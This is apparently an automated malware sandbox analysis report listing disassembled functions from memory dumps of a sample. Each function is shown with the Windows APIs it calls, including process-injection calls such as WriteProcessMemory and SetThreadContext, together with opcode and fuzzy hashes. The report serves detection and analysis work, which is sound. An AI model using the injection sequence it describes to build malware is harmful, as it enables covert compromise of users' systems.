Function 07406491 Relevance: 1.6, APIs: 1, Instructions: 71injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07406528

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: e57f249d823914b625ddf3786e35c09877e28ef92719520433b644208ba910c8
Instruction ID: 49f7a7378b7999576a2edab581ef3588181844f11ae5ce1d42d84b3f12336e9c
Opcode Fuzzy Hash: e57f249d823914b625ddf3786e35c09877e28ef92719520433b644208ba910c8
Instruction Fuzzy Hash: 342135B19003599FCB10CFA9C881BDEBBF5FF48320F10842AE959A7250C778A955CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 07405E38 Relevance: 1.6, APIs: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07405EBE

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 49c6cf4d09f76ced458e6cb44cf46c7f735882161f6a42f480a5ebedb098dddc
Instruction ID: 316fd5504d823cee14583bb96019544a7c58673d83ccbcb12217f0875c867f2f
Opcode Fuzzy Hash: 49c6cf4d09f76ced458e6cb44cf46c7f735882161f6a42f480a5ebedb098dddc
Instruction Fuzzy Hash: E0213CB19103099FDB10DFAAC485BEEFBF4EF48324F14842AD459A7241C7789945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07406498 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07406528

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 16b20cb83973569bdeae316ed6818dd9a0117e6f3fc8e9d2bf05ea4e2734fc5f
Instruction ID: aec83c055250642a84130f6cb0f495f2fa02a535b976643dc92cc0e94c673de9
Opcode Fuzzy Hash: 16b20cb83973569bdeae316ed6818dd9a0117e6f3fc8e9d2bf05ea4e2734fc5f
Instruction Fuzzy Hash: 602166B19003599FCB10CFA9C881BDEBBF5FF48310F10842AE919A7340C778A954CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 07406580 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07406608

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 81e00ee0ed7039861c4038b968f3062bb9dc68d89ff54df926526729ade68b22
Instruction ID: aaa0f9ac36b61477be648b85bc6210915b0a133be207c07c544b784c2a56cd66
Opcode Fuzzy Hash: 81e00ee0ed7039861c4038b968f3062bb9dc68d89ff54df926526729ade68b22
Instruction Fuzzy Hash: 6F2139B18003599FDB10CFA9C881AEEFBF5FF48310F10842AE559A7251D735A951CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07406588 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07406608

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 127c07a0786cfc877ef8241a3ea2f8b087316fda8d0bf572fd68f9b3e4e2a960
Instruction ID: 1ddc4a51eeaef3bdf077e9f19f591dec67b1a9a61d2b9cadd68267a76712377e
Opcode Fuzzy Hash: 127c07a0786cfc877ef8241a3ea2f8b087316fda8d0bf572fd68f9b3e4e2a960
Instruction Fuzzy Hash: 012139B18003599FDB10DFAAC840ADEFBF5FF48310F10842AE959A7250C7349954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07405E40 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07405EBE

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: fe4be180e2be9569b03d6443e06cc077d66d7e55a5442fbb83e8e2386f724313
Instruction ID: 5430f9b82f049b4002d5906b5776d3e6fe2b8e91145ca1b6ed796103f5430ce7
Opcode Fuzzy Hash: fe4be180e2be9569b03d6443e06cc077d66d7e55a5442fbb83e8e2386f724313
Instruction Fuzzy Hash: CD2118B19003098FDB10DFAAC485BEEFBF4EF48324F14842AD459A7240C7789945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 014FD648 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 014FD6D7

Memory Dump Source

Source File: 0000000C.00000002.1766314228.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_14f0000_alex.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 589f8fffa55e7ae5e7cf2d3218cb184d329246ae2298f4e8ad9bd3b95af7c8ee
Instruction ID: 2615c38969ba986551895b7bf001e71d213a18958f8bb50eb5301b0afcad6c9e
Opcode Fuzzy Hash: 589f8fffa55e7ae5e7cf2d3218cb184d329246ae2298f4e8ad9bd3b95af7c8ee
Instruction Fuzzy Hash: 0E21E0B5D00218DFDB10CFAAD984AEEBBF4EB48310F14842AE918B7310C374A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 014FD650 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 014FD6D7

Memory Dump Source

Source File: 0000000C.00000002.1766314228.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_14f0000_alex.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 29ec424599dd0c3817e5ba048edcb330de5eacb2b267550421735a9ab6d8d892
Instruction ID: 299ef89b837d7332806e2c1ef6a195c150fc238650e9a5dfff78fd4d2d955440
Opcode Fuzzy Hash: 29ec424599dd0c3817e5ba048edcb330de5eacb2b267550421735a9ab6d8d892
Instruction Fuzzy Hash: 9221C2B5D002589FDB10CFAAD984ADEFFF8EB48320F14841AE958A7350D374A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 014FA0F0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,014FB039,00000800,00000000,00000000), ref: 014FB24A

Memory Dump Source

Source File: 0000000C.00000002.1766314228.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_14f0000_alex.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b265e8f9f9c390ab35ac6388232ee293a4e64ab33a0b3a793ab6a44b145df0e6
Instruction ID: fdd08d72bc4b1fff08519601791d3ed0d46703076ce026311536195a3acc6951
Opcode Fuzzy Hash: b265e8f9f9c390ab35ac6388232ee293a4e64ab33a0b3a793ab6a44b145df0e6
Instruction Fuzzy Hash: A31114B69002088FDB10CF9AD448ADEFBF4EB49310F10842EE919A7310C375A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 07405D88 Relevance: 1.6, APIs: 1, Instructions: 54threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07405DF2

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 3d271610839f75510c51947a32b5ddc4ecc873146dee96d088ab3c7038f1a17e
Instruction ID: 6ed6555cff2bc145baf9265dab3bd4fbbcf237721b06fff85727e651c44c17b3
Opcode Fuzzy Hash: 3d271610839f75510c51947a32b5ddc4ecc873146dee96d088ab3c7038f1a17e
Instruction Fuzzy Hash: AF1149B19002498FDB20DFAAD4457DEFFF5EB88324F20842AD459A7240CB35A944CFE4

Uniqueness

Uniqueness Score: -1.00%

Function 014FB1D8 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,014FB039,00000800,00000000,00000000), ref: 014FB24A

Memory Dump Source

Source File: 0000000C.00000002.1766314228.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_14f0000_alex.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: eee8194eba23275bde010135b3e45b7de6725d848eb65d547150d91cb8bf3989
Instruction ID: 890707b2e030515b97060e70edf85685b915d6b8363b30ff0ceab080dd00f8f3
Opcode Fuzzy Hash: eee8194eba23275bde010135b3e45b7de6725d848eb65d547150d91cb8bf3989
Instruction Fuzzy Hash: AA1126BA9002489FDB10CFAAD448ADEFFF4EB49310F11842ED959A7310C375A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 07409BF8 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 07409C58

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 68619f56600a7cf8742ce3dd47fd1c6163c257bf155a384ed691ce66036caf16
Instruction ID: b96ca0c034b5c5052aae23ed5448feaa698b7c2ad3403a8015d79e0627b4e9e0
Opcode Fuzzy Hash: 68619f56600a7cf8742ce3dd47fd1c6163c257bf155a384ed691ce66036caf16
Instruction Fuzzy Hash: 671155B5800249CFCB10DF9AC544BDEBBF4EB48320F20846AD958A7341C738A985CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07407E41 Relevance: 1.6, APIs: 1, Instructions: 50windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 07407EA5

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 84d702dd98635f7feedc08815e6894884adff6b4ef538dac8e5c8a25ecae7d9c
Instruction ID: b36d758cd282ee341702aaace818145cc3d0f8c1a128d408baed7f6afa6eeccb
Opcode Fuzzy Hash: 84d702dd98635f7feedc08815e6894884adff6b4ef538dac8e5c8a25ecae7d9c
Instruction Fuzzy Hash: 9F11F5B58003499FDB10DF9AD445BDEBBF8EB48324F20841AD558A7640C375A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 07405D90 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07405DF2

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ed003455991a6da5d5d0a2ddf2de63a1a8918d2c78d70b4a0935f59e5080e3e2
Instruction ID: bd7168c92e2011703fc646f20f8399411ba044bf5f0490aeadfda91def0847b7
Opcode Fuzzy Hash: ed003455991a6da5d5d0a2ddf2de63a1a8918d2c78d70b4a0935f59e5080e3e2
Instruction Fuzzy Hash: 641136B19002498FDB20DFAAC445BDFFBF5EF88324F20842AD459A7250CB75A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 07406F5C Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 07407EA5

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 7de2a5ac2a8fa2759775d60ae257d90a6c8bb611beb4b1cf5c174380e982ce68
Instruction ID: 0bfb38abeebb34909e2f2670b87eaacd5b0319c71ab87bf866d5bf73e5e415ba
Opcode Fuzzy Hash: 7de2a5ac2a8fa2759775d60ae257d90a6c8bb611beb4b1cf5c174380e982ce68
Instruction Fuzzy Hash: 3E11B0B58002499FDB10DF9AC549BDEBBF8EB48324F10846AE958A7250C375A944CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 07409C00 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 07409C58

Memory Dump Source

Source File: 0000000C.00000002.1813926093.0000000007400000.00000040.00000800.00020000.00000000.sdmp, Offset: 07400000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7400000_alex.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: e0a785c561b36801f5c2195685dcef4ae79ecb0b49de12c54fe7d4ece594510b
Instruction ID: ea918ba614063f8e84be6fd605e3c685ef11b350f9394df9b3825de87ae8368b
Opcode Fuzzy Hash: e0a785c561b36801f5c2195685dcef4ae79ecb0b49de12c54fe7d4ece594510b
Instruction Fuzzy Hash: 871103B58002598FDB10DF9AC545BDEBBF4EB48320F20842AD958A7351D738A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 014FAF58 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 014FAFBE

Memory Dump Source

Source File: 0000000C.00000002.1766314228.00000000014F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_14f0000_alex.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7261bac15db052352b1677fafaacf4d016ef6d7cac0b480e759210057a0b8fd1
Instruction ID: 559117a5e97777cd43d2d9e095096bff3e43afcfca08913e5693082b1166d0b4
Opcode Fuzzy Hash: 7261bac15db052352b1677fafaacf4d016ef6d7cac0b480e759210057a0b8fd1
Instruction Fuzzy Hash: 2111E0B5C002498FDB10CF9AD444ADEFBF4EB88324F20842AD959A7750C379A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05B5747C Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

{z}, xrefs: 05B5748D

Memory Dump Source

Source File: 0000000C.00000002.1812582937.0000000005B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5b50000_alex.jbxd

Similarity

API ID:
String ID: {z}
API String ID: 0-1552007774
Opcode ID: 9bd39388ebdd086fb80ca643be745c157edb7ab7946083b69cd4d7d6b5120fe2
Instruction ID: d5f55db639e630f4b2ab61eb31afc2c074b2fd9bb69a202570560f7d769021a4
Opcode Fuzzy Hash: 9bd39388ebdd086fb80ca643be745c157edb7ab7946083b69cd4d7d6b5120fe2
Instruction Fuzzy Hash: 8CB18F74A00229CFDB68DF69C984BDDBBB2FB49311F1081EAD509A7260DB316E85DF40

Uniqueness

Uniqueness Score: -1.00%

Function 05B55E0C Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

Te^q, xrefs: 05B5D8D9

Memory Dump Source

Source File: 0000000C.00000002.1812582937.0000000005B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5b50000_alex.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: e3606862c5ef403a86f8affdc089c9660d0a1aba39b698a103fb8834fe0dfb93
Instruction ID: 1fa852d9ba9bb72abbe2dcf22587a493c7697fb8dbc28e03d27d6097ff2022e4
Opcode Fuzzy Hash: e3606862c5ef403a86f8affdc089c9660d0a1aba39b698a103fb8834fe0dfb93
Instruction Fuzzy Hash: 9C519F31B002168FCB15DF7998889BEBBF6FFC42207148A6AE455DB395DF30AD058791

Uniqueness

Uniqueness Score: -1.00%

Function 0557DA48 Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

(bq, xrefs: 0557DAD9

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 3d0f15e6c32d9dda0cd7743f9272b4150dfc38e223900ccd7994cf95c757bfc3
Instruction ID: 94dafa88ca07481b92710fcd9f51123c2f73a0f18f15bc5367a2110d0f0e0e8d
Opcode Fuzzy Hash: 3d0f15e6c32d9dda0cd7743f9272b4150dfc38e223900ccd7994cf95c757bfc3
Instruction Fuzzy Hash: 914103317085284FCB19AB79A42862E76E7FFC9650B19446AC907CB394EF34CC428795

Uniqueness

Uniqueness Score: -1.00%

Function 05B5D290 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

Te^q, xrefs: 05B5D2FB

Memory Dump Source

Source File: 0000000C.00000002.1812582937.0000000005B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5b50000_alex.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 2deaf1f7c4e4bd6a051b773e3e98605cdb78d253244545027447fb99c8b4112d
Instruction ID: 26263e8e160b52052e6b07d91fa138a345f029f4c94db4075419228709b43783
Opcode Fuzzy Hash: 2deaf1f7c4e4bd6a051b773e3e98605cdb78d253244545027447fb99c8b4112d
Instruction Fuzzy Hash: 86112131B0020A8FCB58EBB999146EEB7F6FFD4211B50417AC905E7354EB359E06CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0557F350 Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0557F391

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: e5fc5398bf2d435e076715d5d45f7a9b56a1c29f0ed376b170e8aafc73e63c29
Instruction ID: b46baac42cf907cf9d18c247fc8f9bb15cf9325091c3ebb548df9e7a34ed290d
Opcode Fuzzy Hash: e5fc5398bf2d435e076715d5d45f7a9b56a1c29f0ed376b170e8aafc73e63c29
Instruction Fuzzy Hash: 47019E74A0528A9FCB06EF78E95945CBFF0FF46200B1045AAE4019B2A9EF301D49DB42

Uniqueness

Uniqueness Score: -1.00%

Function 0557F360 Relevance: 1.3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0557F391

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 3f30f4141285aeacb361e950e3027bd26cb471e920fb1f9dfea72ce28abb6a01
Instruction ID: 151e9fe5d25420c5e3d2d5a598f8e65340e5cc9526b0d666d77082c8e3f1ac21
Opcode Fuzzy Hash: 3f30f4141285aeacb361e950e3027bd26cb471e920fb1f9dfea72ce28abb6a01
Instruction Fuzzy Hash: 4FF08C74A41209DFCB05EFB8E55649CBFF0FB44200B1084AAD40597318EF301E489F42

Uniqueness

Uniqueness Score: -1.00%

Function 05B56E9B Relevance: 1.3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

Strings

}, xrefs: 05B56E9B

Memory Dump Source

Source File: 0000000C.00000002.1812582937.0000000005B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5b50000_alex.jbxd

Similarity

API ID:
String ID: }
API String ID: 0-4239843852
Opcode ID: 6970fab61c15260bf4937cc2a135e63946fb28a45cf5d248231d90d9d2eba67d
Instruction ID: 479360d0a63eaa388555c30e3d4bd86a28b433126ba7aa036d031dc7d9aa797b
Opcode Fuzzy Hash: 6970fab61c15260bf4937cc2a135e63946fb28a45cf5d248231d90d9d2eba67d
Instruction Fuzzy Hash: 01E0EC36F0426CCBDF25EAF4E8047DCBBB0FB41266F0405BAC619A2940D375116A8741

Uniqueness

Uniqueness Score: -1.00%

Function 05B5F340 Relevance: 1.3, Strings: 1, Instructions: 17COMMON

Download Yara Rule

Strings

E, xrefs: 05B5F353

Memory Dump Source

Source File: 0000000C.00000002.1812582937.0000000005B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5b50000_alex.jbxd

Similarity

API ID:
String ID: E
API String ID: 0-3568589458
Opcode ID: aa8c74a34f013ba6a4ccbafbfdce250413129335f94fb7c63bd5c1490f10ea87
Instruction ID: 2236dbeab9a5c7493f355927f00e04e7e88998e999dd51ab73916a33b3f0e4af
Opcode Fuzzy Hash: aa8c74a34f013ba6a4ccbafbfdce250413129335f94fb7c63bd5c1490f10ea87
Instruction Fuzzy Hash: D3D0A7B018F208D7EB08E7A0D809B79B76EF781324F0410D49E09531508B702A10D555

Uniqueness

Uniqueness Score: -1.00%

Function 0557B810 Relevance: .7, Instructions: 730COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0549894032888ecd4e4fcdcb7bb6ae48db5e6ba8e0381fedf519811db3118b3d
Instruction ID: a2f3b90ae0cb5420af9116421e1f029173cfa7aa0524291a565881ec6ed83192
Opcode Fuzzy Hash: 0549894032888ecd4e4fcdcb7bb6ae48db5e6ba8e0381fedf519811db3118b3d
Instruction Fuzzy Hash: 3B724E31D10609CFCB04EF68D894AADBBB1FF45310F4486A9D549A7265EF30AAC6CF81

Uniqueness

Uniqueness Score: -1.00%

Function 055787B8 Relevance: .6, Instructions: 551COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0642f71f89b4e7a5a387bfd6e194660ae4b44997a097f483925187de5e4ae74b
Instruction ID: 9865843583be91d865473900e8b03a28ea9975d7ff3b46529c63cf897bebbd8c
Opcode Fuzzy Hash: 0642f71f89b4e7a5a387bfd6e194660ae4b44997a097f483925187de5e4ae74b
Instruction Fuzzy Hash: 9542C931E1061A8FCB15DF68D8946EDF7B1FF89304F148AA9D459B7251EB30AA85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0557D0E0 Relevance: .5, Instructions: 500COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bc13577824655154560945cf58baf2d39dc190012d541f8a4259e85fe5c9dbc
Instruction ID: 41bdd17f66d0b3e5a01701bfb4c02e296e08772a3366df1be001cfe820ea42b9
Opcode Fuzzy Hash: 9bc13577824655154560945cf58baf2d39dc190012d541f8a4259e85fe5c9dbc
Instruction Fuzzy Hash: 0B223734A10209CFCB14DF69D888B9DB7B2FF89304F1485A9E50AAB365DB71AD85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 055787A9 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7686fd86bd762652c7ba79e014b33e8e92bcdc86b0b0ac8ab7a0808b2adafae3
Instruction ID: 4c3ce42d10e5c80f64bbab6143b785eaa317a56ae2c33197c2a4df610eb95004
Opcode Fuzzy Hash: 7686fd86bd762652c7ba79e014b33e8e92bcdc86b0b0ac8ab7a0808b2adafae3
Instruction Fuzzy Hash: 36E1E931E106198FCB15DF68D894AEDB7B2FF89310F148AA9D459BB251EB30AD85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0557EEC8 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1767543a2192a469fcb177fe6e277f9f3fbffc3c5bfd0a103d101cb6b107b2b8
Instruction ID: d9ad4a76d5d6d020ef433081baa39bc0125e508d4c242bd9aa12559d8570ae8e
Opcode Fuzzy Hash: 1767543a2192a469fcb177fe6e277f9f3fbffc3c5bfd0a103d101cb6b107b2b8
Instruction Fuzzy Hash: DFC19170A052098FCB04DFA9E5907AEBBF2FFC8310F548569D419AB358DB71AD46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05B592D3 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1812582937.0000000005B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5b50000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f250d9a934b1ad325c64c5838718d63a704909f1c45d8f7a78728fb515ef7f0
Instruction ID: 02abd8d943a6db7cc8027c1771d6e80fe6a77196335950b12ac86d7e64466d67
Opcode Fuzzy Hash: 4f250d9a934b1ad325c64c5838718d63a704909f1c45d8f7a78728fb515ef7f0
Instruction Fuzzy Hash: 5EF19874E04219CFDB24DFA9C580A9DBBF2FF49320F218299D819AB356D734A985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B5873E Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1812582937.0000000005B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5b50000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b06a5dab5a75fa98d55ee39ea3402222999d3ea64db1dbc6b9d4ada4ca55122
Instruction ID: 36dfd8dcee933c14471ebef2f47c9d07cc3cf73e96649cabe7b4612eba71c54b
Opcode Fuzzy Hash: 9b06a5dab5a75fa98d55ee39ea3402222999d3ea64db1dbc6b9d4ada4ca55122
Instruction Fuzzy Hash: 94A1C574E04259CFCB48DFA4C484A9DBBF2FB48311F2484AAE815AB365D735A986CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0557B1A0 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

